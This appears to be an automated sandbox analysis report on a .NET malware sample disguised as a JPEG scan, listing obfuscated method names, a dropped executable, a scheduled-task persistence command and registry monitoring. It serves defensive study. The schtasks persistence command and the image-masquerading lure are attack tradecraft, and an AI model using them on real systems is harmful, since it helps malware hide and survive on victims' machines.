Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, rUOgJt0bjpUgyk44Jk.cs	High entropy of concatenated method names: 'u7obr4x5Lf', 'GPkb0aQZgq', 'xRVbRyR4lv', 'lZWb1xHcSu', 'grDbmC17Tn', 'pRdb9WgDA7', 'JjabjGgQaK', 'bcRbPfdN2U', 'GbTbVGQJZb', 'OQ1bCwKkPa'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, vMdCrfAd4nqbuB563n.cs	High entropy of concatenated method names: 'dXybF8g5RL', 'MKhbJD1aLT', 'iiBbqG8wsU', 'DKlby3mqW1', 'EOtb6xO374', 'FZ3biDaCp5', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, lawgoLxSSTB4Kg1J3G.cs	High entropy of concatenated method names: 'EfampGBwqQ', 'gTbm0ic8Ol', 'FoRm1JXWfa', 'GBvm9aI5KF', 'V71mjyS8Bw', 'lOk1ejFGI2', 'iuy15IPr4N', 'fXb1oTAOrj', 'sDM1d3hiTE', 'BVP1QoJXGq'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, qRFW21zBV9snmNOmU0.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'jnFLkhAepT', 'lwuLfbNXmm', 'h18Ls6nV41', 'kCGLa4LW2t', 'L9TLbdNmYl', 'qA7LLFLcjF', 'zcnL44t6gG'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, fnrqqnN3duUCtfDNFs.cs	High entropy of concatenated method names: 'B89F3K5C8Dxl2NV0OCr', 'pp796t5EgvAK0gjEOpv', 'GgambiqEGY', 'ngamLGj1yS', 'BY4m4rJPnd', 'uhUkNA5W9IWoSoDPjyJ', 'M1BeCv58iZrmG4npmIi'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, vB3hwc3YK8Lc8pDEAgo.cs	High entropy of concatenated method names: 'lTALl57U4a', 'GZ3Lv1HGYN', 'H0lLZBmnDH', 'M2sLuyKcbi', 'PwOLSXvEtL', 'ehlLW3Q7yC', 'FUTLw1eg45', 'TSxL8VNyso', 'Ir5LHOVxns', 'IjnLxMZBA9'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, HxyNHvlbf1bHwZm5Js.cs	High entropy of concatenated method names: 'i7YaV5BUj7', 'HgCaCiELxx', 'ToString', 'F0CarxRoCB', 'HgDa0Ty9GB', 'NqjaRQWoG8', 'xtFa1eND7K', 'Jv7amxQfDW', 'GpOa9kKxUh', 'pGDajUJMIF'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, fOO8vIHqZjUhSvlGIT.cs	High entropy of concatenated method names: 'S3vfGAEYB9', 'c2sfByidvx', 'FFef6Ljjdu', 'cbPfAk0xl2', 'rb9fJ6Nrpx', 'n6SfqupGbr', 'makfy5ZT1E', 'pwDfi8XcXO', 'Qq9f39Elbh', 'Nbef7ltrnV'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, v7j940IZEcFHWEp7Ga.cs	High entropy of concatenated method names: 'WidRuZIVJ0', 'MQwRWd5aX5', 'ds6R8eafKY', 'Rr7RHHA0Qn', 'EBiRf5mjJ0', 'RQNRs2E6qK', 'opfRaiVR7S', 'rIyRbIs2W8', 'K30RLVBAAY', 'm0VR4idEPN'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, UZdRY7cogvT20oexjf.cs	High entropy of concatenated method names: 'ToString', 't0vsMmBUKm', 'OcZsJBUxwu', 'XFJsqnqsVB', 'tVdsyA7sIT', 'n0CsijUWdc', 'AOas3e2OIT', 'UW8s7OWRFE', 'fNJsOsF65A', 'DqCsEZDp1j'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, D4ioqt7O1wPYlWLKsR.cs	High entropy of concatenated method names: 'ApnadP2bs3', 'rk7atBw06f', 'HUjb2k3D5S', 'E4abYSDALn', 'yNAaM0i478', 'buFaBhSoPU', 'wwCaKbEvfG', 'HWLa6atuQA', 'mp3aA4Fh2X', 'WnPaXpNMNH'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, SuyLm2iEjbBSRtgLPT.cs	High entropy of concatenated method names: 'cZtLYDnprB', 'R5XLgHuvw7', 'Np4LTquifb', 'wBgLrovKIm', 'ELDL08hpHZ', 'GUfL1TC3pE', 'GgZLmJdCxR', 'GfMboVnZMZ', 'Juibd8JKy2', 'GIWbQBZPsG'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, PHDnrB5XeaB5EXDJxo.cs	High entropy of concatenated method names: 'cOm1So05AA', 'aFu1wLVJwM', 'Q9uRqFEv11', 'DsjRyIBZTQ', 'TUDRi48gnI', 'd5BR38D4an', 'zGSR7plgsU', 'udGROs9EMM', 'WbnRE8LhcY', 'cYdRGslLbW'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, nRLN6swQWbhX71tdG3.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'gIFNQ2cG18', 'AGYNt5TAwH', 'QPpNzxZ9M8', 'fW7g2xrcwh', 'dPkgY1LZdb', 'aTqgNoYu9R', 'k08ggAuLP2', 'g6UpfQKqXGsZnATQZ4k'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, T9cHuLXm465sBShJQ5.cs	High entropy of concatenated method names: 'Dispose', 'GTXYQS6qDL', 'pw2NJcPpQe', 'yiuII46TVm', 'n53Ytl0OfF', 'DDJYzOfQLQ', 'ProcessDialogKey', 'GSpN2EI8y0', 'YfeNYnAINp', 'mHSNNj749n'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, BugJBK1VtFydZ6UXaU.cs	High entropy of concatenated method names: 'mqu9lyjgeg', 'nAU9vjhhsP', 'q6A9ZCMQh3', 'IfJ9u9JOIx', 'jSO9SuI6lS', 'lgP9WtbcHk', 'mju9wfvXZI', 'IoU98bKyjc', 'PyX9HAtxV8', 'g8W9xX5KLu'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, MFN8rg2GruKOYi7YiH.cs	High entropy of concatenated method names: 'nmgk8YZloV', 'AUlkH7AFxr', 'WoGkFCAoRY', 'DbHkJZ7BBW', 'RKHkyIDh8A', 'RrAkidfqsq', 'kwYk7SMI0L', 'jUbkONG9XM', 'ze0kGt91oF', 'cQKkMnkEnN'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, d9gZaTJIdXurF7Iqc0.cs	High entropy of concatenated method names: 'ypXZdyB1Q', 'y7VuUXVuk', 'HLjWClp9U', 'KEowqItGK', 'UWIH9b8xc', 'AXZxqlOo5', 'tn6Zu3fyjyHW2Xydmc', 'dRevihZqsjLSKNkBwn', 'S43b8FnN7', 'zpF47DCvY'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, uFd20xUXZshMhqnhw3.cs	High entropy of concatenated method names: 'Stg9r2Am85', 'XZ69RX9CAh', 'Le99mpqpH9', 'XOTmtfOnkE', 'ARfmzAOV5v', 'kaQ92jQbID', 'Qyf9YhLcn2', 'W4M9N6jnQh', 'Op19gscMhL', 'Jsr9T4dHJ5'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, Gh561AECFfZnyUrvtJ.cs	High entropy of concatenated method names: 'C64gptgJxy', 'xiMgrlcCmt', 'uiCg01Us7o', 'bylgRdjNmN', 'z6xg1XyfxH', 'fxKgmORPkM', 'Y9jg9Fmaau', 'BRygjJujT3', 'lH0gPuE6MG', 'GP3gV0uU3f'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, nhtqyFvX8yKhXJY77Y.cs	High entropy of concatenated method names: 'YLg063Fm5E', 'ckA0A9a9gn', 'QcS0X8I1Gw', 'sgS0DQUvfq', 'RNc0eiKSqI', 'PtR05fWZDj', 'q2X0oKpF8I', 'lb80d9MmVc', 'OMV0Q53gf8', 'Uf50tNNAEg'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, wKw7XJ3eEkT0Yh3oA6U.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'fp546pvCgm', 'Y0e4A3mRF7', 'h8R4XVZO6q', 'zB84DHoYrG', 'TKF4eiIghU', 'xCC45JJTC9', 'G1W4oT9fTU'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, g7preEo0LavFFXlOLa.cs	High entropy of concatenated method names: 'S9QY9E3S2e', 'HIBYjCul7i', 'SmwYVYhZMI', 'cGXYCEfx4m', 'cgmYfN1Ds8', 'dNHYsQkMaM', 'wK1RObicwdXdwmr7cL', 'o62HfqXYnZw6BkCreT', 'h8xYYM8raJ', 'HdiYgWTwBg'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, rUOgJt0bjpUgyk44Jk.cs	High entropy of concatenated method names: 'u7obr4x5Lf', 'GPkb0aQZgq', 'xRVbRyR4lv', 'lZWb1xHcSu', 'grDbmC17Tn', 'pRdb9WgDA7', 'JjabjGgQaK', 'bcRbPfdN2U', 'GbTbVGQJZb', 'OQ1bCwKkPa'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, vMdCrfAd4nqbuB563n.cs	High entropy of concatenated method names: 'dXybF8g5RL', 'MKhbJD1aLT', 'iiBbqG8wsU', 'DKlby3mqW1', 'EOtb6xO374', 'FZ3biDaCp5', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, lawgoLxSSTB4Kg1J3G.cs	High entropy of concatenated method names: 'EfampGBwqQ', 'gTbm0ic8Ol', 'FoRm1JXWfa', 'GBvm9aI5KF', 'V71mjyS8Bw', 'lOk1ejFGI2', 'iuy15IPr4N', 'fXb1oTAOrj', 'sDM1d3hiTE', 'BVP1QoJXGq'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, qRFW21zBV9snmNOmU0.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'jnFLkhAepT', 'lwuLfbNXmm', 'h18Ls6nV41', 'kCGLa4LW2t', 'L9TLbdNmYl', 'qA7LLFLcjF', 'zcnL44t6gG'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, fnrqqnN3duUCtfDNFs.cs	High entropy of concatenated method names: 'B89F3K5C8Dxl2NV0OCr', 'pp796t5EgvAK0gjEOpv', 'GgambiqEGY', 'ngamLGj1yS', 'BY4m4rJPnd', 'uhUkNA5W9IWoSoDPjyJ', 'M1BeCv58iZrmG4npmIi'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, vB3hwc3YK8Lc8pDEAgo.cs	High entropy of concatenated method names: 'lTALl57U4a', 'GZ3Lv1HGYN', 'H0lLZBmnDH', 'M2sLuyKcbi', 'PwOLSXvEtL', 'ehlLW3Q7yC', 'FUTLw1eg45', 'TSxL8VNyso', 'Ir5LHOVxns', 'IjnLxMZBA9'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, HxyNHvlbf1bHwZm5Js.cs	High entropy of concatenated method names: 'i7YaV5BUj7', 'HgCaCiELxx', 'ToString', 'F0CarxRoCB', 'HgDa0Ty9GB', 'NqjaRQWoG8', 'xtFa1eND7K', 'Jv7amxQfDW', 'GpOa9kKxUh', 'pGDajUJMIF'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, fOO8vIHqZjUhSvlGIT.cs	High entropy of concatenated method names: 'S3vfGAEYB9', 'c2sfByidvx', 'FFef6Ljjdu', 'cbPfAk0xl2', 'rb9fJ6Nrpx', 'n6SfqupGbr', 'makfy5ZT1E', 'pwDfi8XcXO', 'Qq9f39Elbh', 'Nbef7ltrnV'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, v7j940IZEcFHWEp7Ga.cs	High entropy of concatenated method names: 'WidRuZIVJ0', 'MQwRWd5aX5', 'ds6R8eafKY', 'Rr7RHHA0Qn', 'EBiRf5mjJ0', 'RQNRs2E6qK', 'opfRaiVR7S', 'rIyRbIs2W8', 'K30RLVBAAY', 'm0VR4idEPN'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, UZdRY7cogvT20oexjf.cs	High entropy of concatenated method names: 'ToString', 't0vsMmBUKm', 'OcZsJBUxwu', 'XFJsqnqsVB', 'tVdsyA7sIT', 'n0CsijUWdc', 'AOas3e2OIT', 'UW8s7OWRFE', 'fNJsOsF65A', 'DqCsEZDp1j'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, D4ioqt7O1wPYlWLKsR.cs	High entropy of concatenated method names: 'ApnadP2bs3', 'rk7atBw06f', 'HUjb2k3D5S', 'E4abYSDALn', 'yNAaM0i478', 'buFaBhSoPU', 'wwCaKbEvfG', 'HWLa6atuQA', 'mp3aA4Fh2X', 'WnPaXpNMNH'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, SuyLm2iEjbBSRtgLPT.cs	High entropy of concatenated method names: 'cZtLYDnprB', 'R5XLgHuvw7', 'Np4LTquifb', 'wBgLrovKIm', 'ELDL08hpHZ', 'GUfL1TC3pE', 'GgZLmJdCxR', 'GfMboVnZMZ', 'Juibd8JKy2', 'GIWbQBZPsG'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, PHDnrB5XeaB5EXDJxo.cs	High entropy of concatenated method names: 'cOm1So05AA', 'aFu1wLVJwM', 'Q9uRqFEv11', 'DsjRyIBZTQ', 'TUDRi48gnI', 'd5BR38D4an', 'zGSR7plgsU', 'udGROs9EMM', 'WbnRE8LhcY', 'cYdRGslLbW'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, nRLN6swQWbhX71tdG3.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'gIFNQ2cG18', 'AGYNt5TAwH', 'QPpNzxZ9M8', 'fW7g2xrcwh', 'dPkgY1LZdb', 'aTqgNoYu9R', 'k08ggAuLP2', 'g6UpfQKqXGsZnATQZ4k'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, T9cHuLXm465sBShJQ5.cs	High entropy of concatenated method names: 'Dispose', 'GTXYQS6qDL', 'pw2NJcPpQe', 'yiuII46TVm', 'n53Ytl0OfF', 'DDJYzOfQLQ', 'ProcessDialogKey', 'GSpN2EI8y0', 'YfeNYnAINp', 'mHSNNj749n'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, BugJBK1VtFydZ6UXaU.cs	High entropy of concatenated method names: 'mqu9lyjgeg', 'nAU9vjhhsP', 'q6A9ZCMQh3', 'IfJ9u9JOIx', 'jSO9SuI6lS', 'lgP9WtbcHk', 'mju9wfvXZI', 'IoU98bKyjc', 'PyX9HAtxV8', 'g8W9xX5KLu'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, MFN8rg2GruKOYi7YiH.cs	High entropy of concatenated method names: 'nmgk8YZloV', 'AUlkH7AFxr', 'WoGkFCAoRY', 'DbHkJZ7BBW', 'RKHkyIDh8A', 'RrAkidfqsq', 'kwYk7SMI0L', 'jUbkONG9XM', 'ze0kGt91oF', 'cQKkMnkEnN'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, d9gZaTJIdXurF7Iqc0.cs	High entropy of concatenated method names: 'ypXZdyB1Q', 'y7VuUXVuk', 'HLjWClp9U', 'KEowqItGK', 'UWIH9b8xc', 'AXZxqlOo5', 'tn6Zu3fyjyHW2Xydmc', 'dRevihZqsjLSKNkBwn', 'S43b8FnN7', 'zpF47DCvY'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, uFd20xUXZshMhqnhw3.cs	High entropy of concatenated method names: 'Stg9r2Am85', 'XZ69RX9CAh', 'Le99mpqpH9', 'XOTmtfOnkE', 'ARfmzAOV5v', 'kaQ92jQbID', 'Qyf9YhLcn2', 'W4M9N6jnQh', 'Op19gscMhL', 'Jsr9T4dHJ5'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, Gh561AECFfZnyUrvtJ.cs	High entropy of concatenated method names: 'C64gptgJxy', 'xiMgrlcCmt', 'uiCg01Us7o', 'bylgRdjNmN', 'z6xg1XyfxH', 'fxKgmORPkM', 'Y9jg9Fmaau', 'BRygjJujT3', 'lH0gPuE6MG', 'GP3gV0uU3f'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, nhtqyFvX8yKhXJY77Y.cs	High entropy of concatenated method names: 'YLg063Fm5E', 'ckA0A9a9gn', 'QcS0X8I1Gw', 'sgS0DQUvfq', 'RNc0eiKSqI', 'PtR05fWZDj', 'q2X0oKpF8I', 'lb80d9MmVc', 'OMV0Q53gf8', 'Uf50tNNAEg'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, wKw7XJ3eEkT0Yh3oA6U.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'fp546pvCgm', 'Y0e4A3mRF7', 'h8R4XVZO6q', 'zB84DHoYrG', 'TKF4eiIghU', 'xCC45JJTC9', 'G1W4oT9fTU'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, g7preEo0LavFFXlOLa.cs	High entropy of concatenated method names: 'S9QY9E3S2e', 'HIBYjCul7i', 'SmwYVYhZMI', 'cGXYCEfx4m', 'cgmYfN1Ds8', 'dNHYsQkMaM', 'wK1RObicwdXdwmr7cL', 'o62HfqXYnZw6BkCreT', 'h8xYYM8raJ', 'HdiYgWTwBg'

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

File created: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
